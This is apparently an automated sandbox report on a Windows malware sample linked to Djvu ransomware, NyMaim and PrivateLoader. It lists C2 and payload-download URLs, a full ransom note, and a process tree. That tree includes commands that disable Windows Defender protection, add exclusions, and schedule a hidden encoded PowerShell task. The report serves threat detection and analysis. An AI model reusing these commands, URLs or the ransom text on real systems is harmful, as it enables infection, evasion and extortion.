djvu | f0dc8fa1a18901ac46f4448e434c3885a456865a3a309840a1c4ac67fd56895b

Analysis

max time kernel
49s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
04-08-2022 15:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe
Size

400KB
MD5

9519c85c644869f182927d93e8e25a33
SHA1

eadc9026e041f7013056f80e068ecf95940ea060
SHA256

f0dc8fa1a18901ac46f4448e434c3885a456865a3a309840a1c4ac67fd56895b
SHA512

dcc1dd25bba19aaf75ec4a1a69dc215eb519e9ee3b8f7b1bd16164b736b3aa81389c076ed4e8a17a1cbfaec2e0b3155df039d1bca3c7186cfeb9950369bccf23

Score

10^/10

djvu nymaim privateloader discovery evasion loader main persistence ransomware spyware stealer trojan vmprotect

Malware Config

Extracted

Family

privateloader

http://163.123.143.4/proxies.txt

http://107.182.129.251/server.txt

pastebin.com/raw/A7dSG1te

http://wfsdragon.ru/api/setStats.php

163.123.143.12

http://91.241.19.125/pub.php?pub=one

http://sarfoods.com/index.php

Attributes

payload_url
https://cdn.discordapp.com/attachments/1003879548242374749/1003976870611669043/NiceProcessX64.bmp
https://cdn.discordapp.com/attachments/1003879548242374749/1003976754358124554/NiceProcessX32.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931507465563045909/dingo_20220114120058.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://193.56.146.76/Proxytest.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe
http://luminati-china.xyz/aman/casper2.exe
https://innovicservice.net/assets/vendor/counterup/RobCleanerInstlr95038215.exe
http://tg8.cllgxx.com/hp8/g1/yrpp1047.exe
https://cdn.discordapp.com/attachments/910842184708792331/930849718240698368/Roll.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930850766787330068/real1201.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930882959131693096/Installer.bmp
http://185.215.113.208/ferrari.exe
https://cdn.discordapp.com/attachments/910842184708792331/931233371110141962/LingeringsAntiphon.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931285223709225071/russ.bmp
https://cdn.discordapp.com/attachments/910842184708792331/932720393201016842/filinnn.bmp
https://cdn.discordapp.com/attachments/910842184708792331/933436611427979305/build20k.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://mnbuiy.pw/adsli/note8876.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://luminati-china.xyz/aman/casper2.exe
https://suprimax.vet.br/css/fonts/OneCleanerInst942914.exe
http://tg8.cllgxx.com/hp8/g1/ssaa1047.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_64_bit_4.3.0_Setup.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_32_bit_4.3.0_Setup.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516400005296219/anyname.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516894660530226/PBsecond.exe
https://cdn.discordapp.com/attachments/910842184708792331/914047763304550410/Xpadder.bmp
http://185.215.113.208/ferrari4.exe

Extracted

Family

nymaim

208.67.104.9

212.192.241.16

Extracted

Family

djvu

http://acacaca.org/test2/get.php

Attributes

extension
.vvyu
offline_id
rE5LpDv2ftYRXAo7bC18EpzfRMTHSGjgfyIMfZt1
payload_url
http://rgyui.top/dl/build2.exe
http://acacaca.org/files/1/build3.exe
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-QsoSRIeAK6 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@bestyourmail.ch Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0531Jhyjd

rsa_pubkey.plain

Signatures

Detected Djvu ransomware 10 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1348-190-0x0000000002260000-0x000000000237B000-memory.dmp	family_djvu
behavioral2/memory/3116-195-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3116-198-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3116-202-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3116-197-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/3116-230-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4900-268-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4900-263-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4900-250-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu
behavioral2/memory/4900-300-0x0000000000400000-0x0000000000537000-memory.dmp	family_djvu

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

4AR3U3mEfz985TYJMFKhMcib.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	4AR3U3mEfz985TYJMFKhMcib.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1"	4AR3U3mEfz985TYJMFKhMcib.exe

NyMaim
NyMaim is a malware with various capabilities written in C++ and first seen in 2013.
trojan nymaim
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5756 1132 rundll32.exe
Downloads MZ/PE file

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5756	1132	rundll32.exe

Executes dropped EXE 12 IoCs

Processes:

4AR3U3mEfz985TYJMFKhMcib.exeNiceProcessX64.bmp.exemixinte04.bmp.exeWEFdanE.exe.exeutube.bmp.exeddoAKFf.exe.exeyare1095.exe.exebuild.exe.exesetup331.exe.exeConhost.exeAdblockInstaller.exe.tmpInstall.exe

pid	process
2512	4AR3U3mEfz985TYJMFKhMcib.exe
1912	NiceProcessX64.bmp.exe
3220	mixinte04.bmp.exe
2812	WEFdanE.exe.exe
2120	utube.bmp.exe
4640	ddoAKFf.exe.exe
3416	yare1095.exe.exe
1348	build.exe.exe
5088	setup331.exe.exe
4672	Conhost.exe
2012	AdblockInstaller.exe.tmp
2972	Install.exe

Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

5760 netsh.exe

pid	process
5760	netsh.exe

VMProtect packed file 4 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

Processes:

resource	yara_rule
C:\Users\Admin\Pictures\Adobe Films\yare1095.exe.exe	vmprotect
C:\Users\Admin\Pictures\Adobe Films\yare1095.exe.exe	vmprotect
behavioral2/memory/3416-163-0x0000000140000000-0x000000014067E000-memory.dmp	vmprotect
behavioral2/memory/5372-338-0x0000000140000000-0x0000000140684000-memory.dmp	vmprotect

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe4AR3U3mEfz985TYJMFKhMcib.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	4AR3U3mEfz985TYJMFKhMcib.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

3396 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
3396	icacls.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

WEFdanE.exe.exeddoAKFf.exe.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	WEFdanE.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	WEFdanE.exe.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce	ddoAKFf.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	ddoAKFf.exe.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 10 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

10 ipinfo.io
11 ipinfo.io
34 ipinfo.io
35 ipinfo.io
148 api.2ip.ua
277 ip-api.com
110 ip-api.com
124 api.2ip.ua
125 api.2ip.ua
147 api.2ip.ua

flow	ioc
10	ipinfo.io
11	ipinfo.io
34	ipinfo.io
35	ipinfo.io
148	api.2ip.ua
277	ip-api.com
110	ip-api.com
124	api.2ip.ua
125	api.2ip.ua
147	api.2ip.ua

Drops file in Program Files directory 2 IoCs

Processes:

f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe

description	ioc	process
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
408	3416	WerFault.exe	yare1095.exe.exe
1440	3220	WerFault.exe	mixinte04.bmp.exe
5584	5892	WerFault.exe	gcleaner.exe
5568	5372	WerFault.exe	rmaa1045.exe
6096	6112	WerFault.exe	rundll32.exe

Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

4792 schtasks.exe
4748 schtasks.exe
4216 schtasks.exe
2172 schtasks.exe
Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

5692 tasklist.exe
3204 tasklist.exe
Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

2588 taskkill.exe
5060 taskkill.exe
2628 taskkill.exe
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1888 reg.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5276 PING.EXE
3688 PING.EXE

pid	process
4792	schtasks.exe
4748	schtasks.exe
4216	schtasks.exe
2172	schtasks.exe

pid	process
5692	tasklist.exe
3204	tasklist.exe

pid	process
2588	taskkill.exe
5060	taskkill.exe
2628	taskkill.exe

pid	process
1888	reg.exe

pid	process
5276	PING.EXE
3688	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

4AR3U3mEfz985TYJMFKhMcib.exeNiceProcessX64.bmp.exe

pid	process
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
2512	4AR3U3mEfz985TYJMFKhMcib.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe
1912	NiceProcessX64.bmp.exe

Suspicious use of WriteProcessMemory 52 IoCs

Processes:

f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe4AR3U3mEfz985TYJMFKhMcib.exeWEFdanE.exe.exeddoAKFf.exe.exereg.exeutube.bmp.exe

description	pid	process	target process
PID 2256 wrote to memory of 2512	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	4AR3U3mEfz985TYJMFKhMcib.exe
PID 2256 wrote to memory of 2512	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	4AR3U3mEfz985TYJMFKhMcib.exe
PID 2256 wrote to memory of 2512	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	4AR3U3mEfz985TYJMFKhMcib.exe
PID 2256 wrote to memory of 4792	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2256 wrote to memory of 4792	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2256 wrote to memory of 4792	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2256 wrote to memory of 4748	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2256 wrote to memory of 4748	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2256 wrote to memory of 4748	2256	f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe	schtasks.exe
PID 2512 wrote to memory of 1912	2512	4AR3U3mEfz985TYJMFKhMcib.exe	NiceProcessX64.bmp.exe
PID 2512 wrote to memory of 1912	2512	4AR3U3mEfz985TYJMFKhMcib.exe	NiceProcessX64.bmp.exe
PID 2512 wrote to memory of 3220	2512	4AR3U3mEfz985TYJMFKhMcib.exe	mixinte04.bmp.exe
PID 2512 wrote to memory of 3220	2512	4AR3U3mEfz985TYJMFKhMcib.exe	mixinte04.bmp.exe
PID 2512 wrote to memory of 3220	2512	4AR3U3mEfz985TYJMFKhMcib.exe	mixinte04.bmp.exe
PID 2512 wrote to memory of 2812	2512	4AR3U3mEfz985TYJMFKhMcib.exe	WEFdanE.exe.exe
PID 2512 wrote to memory of 2812	2512	4AR3U3mEfz985TYJMFKhMcib.exe	WEFdanE.exe.exe
PID 2512 wrote to memory of 2812	2512	4AR3U3mEfz985TYJMFKhMcib.exe	WEFdanE.exe.exe
PID 2512 wrote to memory of 2120	2512	4AR3U3mEfz985TYJMFKhMcib.exe	utube.bmp.exe
PID 2512 wrote to memory of 2120	2512	4AR3U3mEfz985TYJMFKhMcib.exe	utube.bmp.exe
PID 2512 wrote to memory of 2120	2512	4AR3U3mEfz985TYJMFKhMcib.exe	utube.bmp.exe
PID 2512 wrote to memory of 4640	2512	4AR3U3mEfz985TYJMFKhMcib.exe	ddoAKFf.exe.exe
PID 2512 wrote to memory of 4640	2512	4AR3U3mEfz985TYJMFKhMcib.exe	ddoAKFf.exe.exe
PID 2512 wrote to memory of 4640	2512	4AR3U3mEfz985TYJMFKhMcib.exe	ddoAKFf.exe.exe
PID 2512 wrote to memory of 3416	2512	4AR3U3mEfz985TYJMFKhMcib.exe	yare1095.exe.exe
PID 2512 wrote to memory of 3416	2512	4AR3U3mEfz985TYJMFKhMcib.exe	yare1095.exe.exe
PID 2512 wrote to memory of 1348	2512	4AR3U3mEfz985TYJMFKhMcib.exe	build.exe.exe
PID 2512 wrote to memory of 1348	2512	4AR3U3mEfz985TYJMFKhMcib.exe	build.exe.exe
PID 2512 wrote to memory of 1348	2512	4AR3U3mEfz985TYJMFKhMcib.exe	build.exe.exe
PID 2512 wrote to memory of 5088	2512	4AR3U3mEfz985TYJMFKhMcib.exe	setup331.exe.exe
PID 2512 wrote to memory of 5088	2512	4AR3U3mEfz985TYJMFKhMcib.exe	setup331.exe.exe
PID 2512 wrote to memory of 5088	2512	4AR3U3mEfz985TYJMFKhMcib.exe	setup331.exe.exe
PID 2512 wrote to memory of 4672	2512	4AR3U3mEfz985TYJMFKhMcib.exe	Conhost.exe
PID 2512 wrote to memory of 4672	2512	4AR3U3mEfz985TYJMFKhMcib.exe	Conhost.exe
PID 2512 wrote to memory of 4672	2512	4AR3U3mEfz985TYJMFKhMcib.exe	Conhost.exe
PID 2812 wrote to memory of 5112	2812	WEFdanE.exe.exe	DnsService.exe
PID 2812 wrote to memory of 5112	2812	WEFdanE.exe.exe	DnsService.exe
PID 2812 wrote to memory of 5112	2812	WEFdanE.exe.exe	DnsService.exe
PID 4640 wrote to memory of 4308	4640	ddoAKFf.exe.exe	cmd.exe
PID 4640 wrote to memory of 4308	4640	ddoAKFf.exe.exe	cmd.exe
PID 4640 wrote to memory of 4308	4640	ddoAKFf.exe.exe	cmd.exe
PID 4672 wrote to memory of 2012	4672	reg.exe	AdblockInstaller.exe.tmp
PID 4672 wrote to memory of 2012	4672	reg.exe	AdblockInstaller.exe.tmp
PID 4672 wrote to memory of 2012	4672	reg.exe	AdblockInstaller.exe.tmp
PID 2120 wrote to memory of 2972	2120	utube.bmp.exe	Install.exe
PID 2120 wrote to memory of 2972	2120	utube.bmp.exe	Install.exe
PID 2120 wrote to memory of 2972	2120	utube.bmp.exe	Install.exe
PID 4640 wrote to memory of 1472	4640	ddoAKFf.exe.exe	cmd.exe
PID 4640 wrote to memory of 1472	4640	ddoAKFf.exe.exe	cmd.exe
PID 4640 wrote to memory of 1472	4640	ddoAKFf.exe.exe	cmd.exe
PID 2812 wrote to memory of 1852	2812	WEFdanE.exe.exe	cmd.exe
PID 2812 wrote to memory of 1852	2812	WEFdanE.exe.exe	cmd.exe
PID 2812 wrote to memory of 1852	2812	WEFdanE.exe.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe
"C:\Users\Admin\AppData\Local\Temp\f0dc8fa1a18901ac46f4448e434c3885a456865a3a309.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2256

C:\Users\Admin\Documents\4AR3U3mEfz985TYJMFKhMcib.exe
"C:\Users\Admin\Documents\4AR3U3mEfz985TYJMFKhMcib.exe"
2⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2512

C:\Users\Admin\Pictures\Adobe Films\NiceProcessX64.bmp.exe
"C:\Users\Admin\Pictures\Adobe Films\NiceProcessX64.bmp.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1912

C:\Users\Admin\Pictures\Adobe Films\mixinte04.bmp.exe
"C:\Users\Admin\Pictures\Adobe Films\mixinte04.bmp.exe"
3⤵
- Executes dropped EXE
PID:3220

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "mixinte04.bmp.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\mixinte04.bmp.exe" & exit
4⤵
PID:544

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "mixinte04.bmp.exe" /f
5⤵
- Kills process with taskkill
PID:2628

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3220 -s 492
4⤵
- Program crash
PID:1440

C:\Users\Admin\Pictures\Adobe Films\WEFdanE.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\WEFdanE.exe.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2812

C:\Windows\SysWOW64\where.exe
where kkskak993jhfkhjskhdfuhuiwyeuiry789q23489yhkjhsdf /?
4⤵
PID:5112

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd < Nell.vst & ping -n 5 localhost
4⤵
PID:1852

C:\Windows\SysWOW64\cmd.exe
cmd
5⤵
PID:628

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
6⤵
- Enumerates processes with tasklist
PID:5692

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
6⤵
PID:3668

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^fbpXyeUvKokpHuiTLJQCMdBrjOglErOlAahxaNiKQXgzzuRkquHkiUUZVuLsNJRGzwJfSNBYBuMPeoJyXrlbcCrFbgnkwQWuyHZavCajEJJqotWNbFzJnxkRXtRE$" Mia.vst
6⤵
PID:3216

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Voglio.exe.pif
Voglio.exe.pif D
6⤵
PID:1668

C:\Windows\SysWOW64\PING.EXE
ping -n 5 localhost
5⤵
- Runs ping.exe
PID:3688

C:\Users\Admin\Pictures\Adobe Films\ddoAKFf.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\ddoAKFf.exe.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4640

C:\Windows\SysWOW64\where.exe
where kkskak993jhfkhjskhdfuhuiwyeuiry789q23489yhkjhsdf /?
4⤵
PID:4308

C:\Windows\SysWOW64\cmd.exe
cmd /c cmd < Calore.sldm & ping -n 5 localhost
4⤵
PID:1472

C:\Windows\SysWOW64\cmd.exe
cmd
5⤵
PID:5016

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "imagename eq PSUAService.exe"
6⤵
- Enumerates processes with tasklist
PID:3204

C:\Windows\SysWOW64\find.exe
find /I /N "psuaservice.exe"
6⤵
PID:5592

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^DSFRIKxgXaTKtMXZByrebjRJrDwrxjAhOWIxSGWRcDMpumUWppHSeWRsqWOyIdTLSGVitCiVojGUmHDEJyUkEHlStdzWSRotKwsm$" Avvenne.sldm
6⤵
PID:1020

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Marito.exe.pif
Marito.exe.pif x
6⤵
PID:3476

C:\Windows\SysWOW64\PING.EXE
ping -n 5 localhost
5⤵
- Runs ping.exe
PID:5276

C:\Users\Admin\Pictures\Adobe Films\utube.bmp.exe
"C:\Users\Admin\Pictures\Adobe Films\utube.bmp.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2120

C:\Users\Admin\AppData\Local\Temp\7zS21B1.tmp\Install.exe
.\Install.exe
4⤵
- Executes dropped EXE
PID:2972

C:\Users\Admin\AppData\Local\Temp\7zS7937.tmp\Install.exe
.\Install.exe /S /site_id "525403"
5⤵
PID:4476

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
6⤵
PID:2664

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
7⤵
PID:1536

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
8⤵
PID:2700

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
8⤵
PID:640

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
6⤵
PID:4424

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ghTlzChFw" /SC once /ST 03:40:19 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
6⤵
- Creates scheduled task(s)
PID:4216

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ghTlzChFw"
6⤵
PID:3664

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ghTlzChFw"
6⤵
PID:5840

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bsAbafpwyZvVmVDlMF" /SC once /ST 15:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BInNSjlobDuvYZgQA\dWABRBnWrovPiXF\IyzdJHG.exe\" Yz /site_id 525403 /S" /V1 /F
6⤵
- Creates scheduled task(s)
PID:2172

C:\Users\Admin\Pictures\Adobe Films\build.exe.exe
"C:\Users\Admin\Pictures\Adobe Films\build.exe.exe"
3⤵
